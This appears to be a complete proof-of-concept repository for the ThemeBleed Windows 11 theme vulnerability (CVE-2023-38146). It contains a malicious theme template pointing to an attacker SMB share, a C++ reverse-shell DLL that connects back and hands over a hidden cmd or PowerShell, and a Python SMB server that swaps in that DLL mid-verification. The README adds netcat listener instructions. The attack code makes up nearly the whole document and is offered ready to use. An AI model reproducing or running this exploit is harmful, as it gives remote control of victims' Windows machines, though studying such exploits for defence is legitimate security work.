├── requirements.txt ├── tb ├── Aero.msstyles └── Aero.msstyles_vrf.dll ├── theme_template.theme ├── README.md ├── rev_shell_template.cpp └── themebleed.py /requirements.txt: -------------------------------------------------------------------------------- 1 | cabarchive 2 | impacket -------------------------------------------------------------------------------- /tb/Aero.msstyles: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Jnnshschl/CVE-2023-38146/HEAD/tb/Aero.msstyles -------------------------------------------------------------------------------- /tb/Aero.msstyles_vrf.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Jnnshschl/CVE-2023-38146/HEAD/tb/Aero.msstyles_vrf.dll -------------------------------------------------------------------------------- /theme_template.theme: -------------------------------------------------------------------------------- 1 | ; windows 11 theme exploit 2 | ; copyright 2023 fukin software foundation 3 | [Theme] 4 | DisplayName=@%SystemRoot%\System32\themeui.dll,-2060 5 | 6 | [Control Panel\Desktop] 7 | Wallpaper=%SystemRoot%\web\wallpaper\Windows\img0.jpg 8 | TileWallpaper=0 9 | WallpaperStyle=10 10 | 11 | [VisualStyles] 12 | Path=\\{{IP_ADDR}}\tb\Aero.msstyles 13 | ColorStyle=NormalColor 14 | Size=NormalSize 15 | 16 | [MasterThemeSelector] 17 | MTSM=RJSPBS -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PoC for the ThemeBleed CVE-2023-38146 exploit (Windows 11 Themes) 2 | 3 | Heavily inspired by https://github.com/gabe-k/themebleed which only runs on windows (the reason why i decided to write this). 4 | 5 | Used modified code from the impacket smbserver.py (https://github.com/fortra/impacket/blob/master/impacket/smbserver.py) 6 | 7 | Useful stuff: https://github.com/TalAloni/SMBLibrary/blob/master/SMBLibrary/NTFileStore/Enums/NtCreateFile/ShareAccess.cs 8 | 9 | Blog Post: 10 | https://jnns.de/posts/cve-2023-38146-poc/ 11 | 12 | ## How to use this: 13 | 14 | Install the requirements and run the application: 15 | ```bash 16 | pip3 install -r requirements.txt 17 | python3 themebleed.py -r HOST -p 4711 18 | 19 | # start nc listener in other shell 20 | rlwrap -cAr nc -lvnp 4711 21 | ``` 22 | 23 | Use the "evil_theme.theme" or "evil_theme.themepack" on a vulnerable machine. 24 | 25 | Profit! 26 | 27 | ## Custom DLL File: 28 | 29 | Place a DLL with an exported function "VerifyThemeVersion" in the 30 | "./td/" folder named "Aero.msstyles_vrf_evil.dll". You should be able to find an example DLL by using google or use my example https://github.com/Jnnshschl/ThemeBleedReverseShellDLL. 31 | 32 | ```bash 33 | pip3 install -r requirements.txt 34 | python3 themebleed.py -r HOST --no-dll 35 | 36 | # start nc listener in other shell 37 | rlwrap -cAr nc -lvnp 4711 38 | ``` 39 | -------------------------------------------------------------------------------- /rev_shell_template.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #pragma comment(lib, "ws2_32") 5 | 6 | extern "C" __declspec(dllexport) int VerifyThemeVersion(void) 7 | { 8 | auto ip = "{{IP_ADDR}}"; 9 | auto port = "{{PORT}}"; 10 | const char* binaries[]{ 11 | "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", 12 | "C:\\Windows\\System32\\cmd.exe", 13 | "powershell.exe", 14 | "cmd.exe" 15 | }; 16 | 17 | char filename[MAX_PATH]{ 0 }; 18 | 19 | for (auto& bin : binaries) 20 | { 21 | if (GetFileAttributesA(bin) != INVALID_FILE_ATTRIBUTES 22 | && GetLastError() != ERROR_FILE_NOT_FOUND) 23 | { 24 | strcpy(filename, bin); 25 | break; 26 | } 27 | else if (SearchPathA(nullptr, bin, nullptr, MAX_PATH, filename, nullptr)) 28 | { 29 | break; 30 | } 31 | } 32 | 33 | WSADATA wsaData{0}; 34 | WSAStartup(MAKEWORD(2, 2), &wsaData); 35 | 36 | addrinfo hints { 0 }; 37 | hints.ai_family = AF_UNSPEC; 38 | hints.ai_socktype = SOCK_STREAM; 39 | hints.ai_protocol = IPPROTO_TCP; 40 | 41 | addrinfo* info = nullptr; 42 | auto addrinfoError = getaddrinfo(ip, port, &hints, &info); 43 | 44 | auto sock = WSASocketW(info->ai_family, info->ai_socktype, info->ai_protocol, 0, 0, 0); 45 | WSAConnect(sock, info->ai_addr, static_cast(info->ai_addrlen), 0, 0, 0, 0); 46 | 47 | STARTUPINFOA si{ 0 }; 48 | si.cb = sizeof(si); 49 | si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; 50 | si.wShowWindow = SW_HIDE; 51 | si.hStdInput = reinterpret_cast(sock); 52 | si.hStdOutput = reinterpret_cast(sock); 53 | si.hStdError = reinterpret_cast(sock); 54 | 55 | PROCESS_INFORMATION pi{ 0 }; 56 | CreateProcessA(0, filename, 0, 0, 1, 0, 0, 0, &si, &pi); 57 | 58 | WaitForSingleObject(pi.hProcess, INFINITE); 59 | CloseHandle(pi.hProcess); 60 | CloseHandle(pi.hThread); 61 | closesocket(sock); 62 | freeaddrinfo(info); 63 | WSACleanup(); 64 | return 0; 65 | } -------------------------------------------------------------------------------- /themebleed.py: -------------------------------------------------------------------------------- 1 | # >> PoC for the ThemeBleed CVE-2023-38146 exploit (Windows 11 Themes) 2 | # 3 | # Heavily inspired by https://github.com/gabe-k/themebleed which only runs on windows (the reason why i decided to write this). 4 | # Used modified code from the impacket smbserver.py (https://github.com/fortra/impacket/blob/master/impacket/smbserver.py) 5 | # Useful stuff: https://github.com/TalAloni/SMBLibrary/blob/master/SMBLibrary/NTFileStore/Enums/NtCreateFile/ShareAccess.cs 6 | # 7 | # - How to use this: 8 | # Place a DLL with an exported function "VerifyThemeVersion" in the 9 | # "./td/" folder named "Aero.msstyles_vrf_evil.dll" 10 | # 11 | # pip3 install -r requirements.txt 12 | # python3 themebleed.py -r RHOST 13 | # 14 | # Use the "evil_theme.theme" or "evil_theme.themepack" 15 | # 16 | # Profit! 17 | 18 | import argparse 19 | import os 20 | import sys 21 | import socket 22 | import logging as logger 23 | from pathlib import Path 24 | 25 | from cabarchive import CabArchive, CabFile 26 | from impacket import smb, uuid 27 | from impacket import smb3structs as smb2 28 | from impacket.smbserver import SimpleSMBServer, normalize_path, isInFileJail, queryPathInformation, PIPE_FILE_DESCRIPTOR, STATUS_SMB_BAD_TID 29 | from impacket.nt_errors import * 30 | 31 | 32 | class TBSmbServer(SimpleSMBServer): 33 | def __init__(self, address: str, port: int, no_smb2: bool = False) -> None: 34 | SimpleSMBServer.__init__(self, address, port) 35 | 36 | # replace SMB2_CREATE handler to replace the good dll with the evil dll on the fly 37 | self._SimpleSMBServer__server._SMBSERVER__smb2Commands[smb2.SMB2_CREATE] = self.tbSmb2Create 38 | 39 | self.server_folder = "./tb/" 40 | 41 | if not Path(self.server_folder).exists(): 42 | os.makedirs(self.server_folder) 43 | 44 | self.setSMB2Support(not no_smb2) 45 | self.addShare("tb", self.server_folder) 46 | self.default_share = "tb" 47 | 48 | # copied and modified version from https://github.com/fortra/impacket/blob/master/impacket/smbserver.py 49 | def tbSmb2Create(self, connId, smbServer, recvPacket): 50 | connData = smbServer.getConnectionData(connId) 51 | respSMBCommand = smb2.SMB2Create_Response() 52 | ntCreateRequest = smb2.SMB2Create(recvPacket['Data']) 53 | 54 | respSMBCommand['Buffer'] = b'\x00' 55 | # Get the Tid associated 56 | if recvPacket['TreeID'] in connData['ConnectedShares']: 57 | # If we have a rootFid, the path is relative to that fid 58 | errorCode = STATUS_SUCCESS 59 | if 'path' in connData['ConnectedShares'][recvPacket['TreeID']]: 60 | path = connData['ConnectedShares'][recvPacket['TreeID']]['path'] 61 | else: 62 | path = 'NONE' 63 | errorCode = STATUS_ACCESS_DENIED 64 | 65 | deleteOnClose = False 66 | 67 | fileName = normalize_path(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le')) 68 | 69 | # patch the sending of the dll file 70 | try: 71 | shareAccess = ntCreateRequest["ShareAccess"] 72 | 73 | if fileName.endswith(".msstyles"): 74 | logger.warning(f"Stage 1/3: \033[1;36m\"{fileName}\"\033[0m [shareAccess: \033[1;32m{shareAccess}\033[0m]") 75 | # fileName = "Aero.msstyles" 76 | elif fileName.endswith("_vrf.dll"): 77 | if shareAccess != 0x5: 78 | logger.warning(f"Stage 2/3: \033[1;33m\"{fileName}\"\033[0m [shareAccess: \033[1;32m{shareAccess}\033[0m]") 79 | # fileName = "Aero.msstyles_vrf.dll" 80 | else: 81 | logger.warning(f"Stage 3/3: \033[1;31m\"{fileName}\"\033[0m [shareAccess: \033[1;32m{shareAccess}\033[0m]") 82 | fileName = "Aero.msstyles_vrf_evil.dll" 83 | 84 | except Exception as ex: 85 | logger.error(f"tbSmb2Create: {ex}") 86 | 87 | if not isInFileJail(path, fileName): 88 | return [smb2.SMB2Error()], None, STATUS_OBJECT_PATH_SYNTAX_BAD 89 | 90 | pathName = os.path.join(path, fileName) 91 | createDisposition = ntCreateRequest['CreateDisposition'] 92 | mode = 0 93 | 94 | if createDisposition == smb2.FILE_SUPERSEDE: 95 | mode |= os.O_TRUNC | os.O_CREAT 96 | elif createDisposition & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF: 97 | mode |= os.O_TRUNC | os.O_CREAT 98 | elif createDisposition & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE: 99 | if os.path.exists(pathName) is True: 100 | mode |= os.O_TRUNC 101 | else: 102 | errorCode = STATUS_NO_SUCH_FILE 103 | elif createDisposition & smb2.FILE_OPEN_IF == smb2.FILE_OPEN_IF: 104 | mode |= os.O_CREAT 105 | elif createDisposition & smb2.FILE_CREATE == smb2.FILE_CREATE: 106 | if os.path.exists(pathName) is True: 107 | errorCode = STATUS_OBJECT_NAME_COLLISION 108 | else: 109 | mode |= os.O_CREAT 110 | elif createDisposition & smb2.FILE_OPEN == smb2.FILE_OPEN: 111 | if os.path.exists(pathName) is not True and ( 112 | str(pathName) in smbServer.getRegisteredNamedPipes()) is not True: 113 | errorCode = STATUS_NO_SUCH_FILE 114 | 115 | if errorCode == STATUS_SUCCESS: 116 | desiredAccess = ntCreateRequest['DesiredAccess'] 117 | if (desiredAccess & smb2.FILE_READ_DATA) or (desiredAccess & smb2.GENERIC_READ): 118 | mode |= os.O_RDONLY 119 | if (desiredAccess & smb2.FILE_WRITE_DATA) or (desiredAccess & smb2.GENERIC_WRITE): 120 | if (desiredAccess & smb2.FILE_READ_DATA) or (desiredAccess & smb2.GENERIC_READ): 121 | mode |= os.O_RDWR # | os.O_APPEND 122 | else: 123 | mode |= os.O_WRONLY # | os.O_APPEND 124 | if desiredAccess & smb2.GENERIC_ALL: 125 | mode |= os.O_RDWR # | os.O_APPEND 126 | 127 | createOptions = ntCreateRequest['CreateOptions'] 128 | if mode & os.O_CREAT == os.O_CREAT: 129 | if createOptions & smb2.FILE_DIRECTORY_FILE == smb2.FILE_DIRECTORY_FILE: 130 | try: 131 | # Let's create the directory 132 | os.mkdir(pathName) 133 | mode = os.O_RDONLY 134 | except Exception as e: 135 | errorCode = STATUS_ACCESS_DENIED 136 | if createOptions & smb2.FILE_NON_DIRECTORY_FILE == smb2.FILE_NON_DIRECTORY_FILE: 137 | # If the file being opened is a directory, the server MUST fail the request with 138 | # STATUS_FILE_IS_A_DIRECTORY in the Status field of the SMB Header in the server 139 | # response. 140 | if os.path.isdir(pathName) is True: 141 | errorCode = STATUS_FILE_IS_A_DIRECTORY 142 | 143 | if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE: 144 | deleteOnClose = True 145 | 146 | if errorCode == STATUS_SUCCESS: 147 | try: 148 | if os.path.isdir(pathName) and sys.platform == 'win32': 149 | fid = VOID_FILE_DESCRIPTOR 150 | else: 151 | if sys.platform == 'win32': 152 | mode |= os.O_BINARY 153 | if str(pathName) in smbServer.getRegisteredNamedPipes(): 154 | fid = PIPE_FILE_DESCRIPTOR 155 | sock = socket.socket() 156 | sock.connect(smbServer.getRegisteredNamedPipes()[str(pathName)]) 157 | else: 158 | fid = os.open(pathName, mode) 159 | except Exception as e: 160 | # print e 161 | fid = 0 162 | errorCode = STATUS_ACCESS_DENIED 163 | else: 164 | errorCode = STATUS_SMB_BAD_TID 165 | 166 | if errorCode == STATUS_SUCCESS: 167 | # Simple way to generate a fid 168 | fakefid = uuid.generate() 169 | 170 | respSMBCommand['FileID'] = fakefid 171 | respSMBCommand['CreateAction'] = createDisposition 172 | 173 | if fid == PIPE_FILE_DESCRIPTOR: 174 | respSMBCommand['CreationTime'] = 0 175 | respSMBCommand['LastAccessTime'] = 0 176 | respSMBCommand['LastWriteTime'] = 0 177 | respSMBCommand['ChangeTime'] = 0 178 | respSMBCommand['AllocationSize'] = 4096 179 | respSMBCommand['EndOfFile'] = 0 180 | respSMBCommand['FileAttributes'] = 0x80 181 | 182 | else: 183 | if os.path.isdir(pathName): 184 | respSMBCommand['FileAttributes'] = smb.SMB_FILE_ATTRIBUTE_DIRECTORY 185 | else: 186 | respSMBCommand['FileAttributes'] = ntCreateRequest['FileAttributes'] 187 | # Let's get this file's information 188 | respInfo, errorCode = queryPathInformation(path, fileName, level=smb.SMB_QUERY_FILE_ALL_INFO) 189 | if errorCode == STATUS_SUCCESS: 190 | respSMBCommand['CreationTime'] = respInfo['CreationTime'] 191 | respSMBCommand['LastAccessTime'] = respInfo['LastAccessTime'] 192 | respSMBCommand['LastWriteTime'] = respInfo['LastWriteTime'] 193 | respSMBCommand['LastChangeTime'] = respInfo['LastChangeTime'] 194 | respSMBCommand['FileAttributes'] = respInfo['ExtFileAttributes'] 195 | respSMBCommand['AllocationSize'] = respInfo['AllocationSize'] 196 | respSMBCommand['EndOfFile'] = respInfo['EndOfFile'] 197 | 198 | if errorCode == STATUS_SUCCESS: 199 | # Let's store the fid for the connection 200 | # smbServer.log('Create file %s, mode:0x%x' % (pathName, mode)) 201 | connData['OpenedFiles'][fakefid] = {} 202 | connData['OpenedFiles'][fakefid]['FileHandle'] = fid 203 | connData['OpenedFiles'][fakefid]['FileName'] = pathName 204 | connData['OpenedFiles'][fakefid]['DeleteOnClose'] = deleteOnClose 205 | connData['OpenedFiles'][fakefid]['Open'] = {} 206 | connData['OpenedFiles'][fakefid]['Open']['EnumerationLocation'] = 0 207 | connData['OpenedFiles'][fakefid]['Open']['EnumerationSearchPattern'] = '' 208 | if fid == PIPE_FILE_DESCRIPTOR: 209 | connData['OpenedFiles'][fakefid]['Socket'] = sock 210 | else: 211 | respSMBCommand = smb2.SMB2Error() 212 | 213 | if errorCode == STATUS_SUCCESS: 214 | connData['LastRequest']['SMB2_CREATE'] = respSMBCommand 215 | smbServer.setConnectionData(connId, connData) 216 | 217 | return [respSMBCommand], None, errorCode 218 | 219 | 220 | if __name__ == "__main__": 221 | logger.basicConfig(format="\r%(asctime)s %(levelname)s> %(message)s", level=logger.DEBUG) 222 | 223 | parser = argparse.ArgumentParser() 224 | parser.add_argument("-r", "--host", dest="ipaddress", help="IP Address of the rev shell host", type=str, required=True) 225 | parser.add_argument("-p", "--port", dest="port", help="Port of the rev shell host", type=int, default=4711) 226 | parser.add_argument("-n", "--no-dll", dest="nodll", help="Don't use the built in dll", action='store_true') 227 | parser.add_argument("--x86", dest="x86", help="Compile dll as 32bit", action='store_true') 228 | 229 | args = parser.parse_args() 230 | 231 | logger.info("ThemeBleed CVE-2023-38146 PoC [\033[1;36mhttps://github.com/Jnnshschl\033[0m]") 232 | logger.info("Credits to -> \033[1;33mhttps://github.com/gabe-k/themebleed\033[0m, \033[1;33mimpacket\033[0m and \033[1;33mcabarchive\033[0m\n") 233 | 234 | # compile rev_shell.cpp 235 | if not args.nodll: 236 | compiler = "i686-w64-mingw32-g++" if args.x86 else "x86_64-w64-mingw32-g++" 237 | dll_source = "./rev_shell_template.cpp" 238 | dll_source_mod = "./rev_shell.cpp" 239 | dll_path = "./tb/Aero.msstyles_vrf_evil.dll" 240 | dll_args = f"{dll_source_mod} -shared -lws2_32 -o {dll_path}" 241 | 242 | try: 243 | with open(dll_source) as dll_source_template_file: 244 | with open(dll_source_mod, "w+") as dll_source_file: 245 | source = dll_source_template_file.read().replace("{{IP_ADDR}}", args.ipaddress).replace("{{PORT}}", str(args.port)) 246 | dll_source_file.write(source) 247 | 248 | compile_result = os.system(f"{compiler} {dll_args}") 249 | 250 | if compile_result == 0 and Path(dll_path).exists(): 251 | logger.info(f"Compiled DLL: \033[1;36m\"{dll_path}\"\033[0m") 252 | else: 253 | logger.error(f"Failed to build DLL using ({compiler}): \033[1;31m{compile_result}\033[0m") 254 | logger.error(f"-> {compiler} {dll_args}") 255 | exit(1) 256 | finally: 257 | if Path(dll_source_mod).exists(): 258 | os.remove(dll_source_mod) 259 | 260 | # generate theme and themepack 261 | with open("./theme_template.theme") as theme_template: 262 | with open("./evil_theme.theme", "w+") as evil_theme: 263 | tt = theme_template.read().replace("{{IP_ADDR}}", args.ipaddress) 264 | evil_theme.write(tt) 265 | 266 | arc = CabArchive() 267 | arc["evil_theme.theme"] = CabFile(tt.encode()) 268 | 269 | logger.info("Theme generated: \033[1;36m\"evil_theme.theme\"\033[0m") 270 | 271 | with open("evil_theme.themepack", "wb") as evil_themepack: 272 | evil_themepack.write(arc.save()) 273 | logger.info("Themepack generated: \033[1;36m\"evil_theme.themepack\"\033[0m\n") 274 | 275 | logger.info(f"Remember to start netcat: \033[1;32mrlwrap -cAr nc -lvnp {args.port}\033[0m") 276 | logger.info(f"Starting SMB server: \033[1;32m{args.ipaddress}:445\033[0m\n") 277 | 278 | TBSmbServer(args.ipaddress, 445).start() 279 | 280 | --------------------------------------------------------------------------------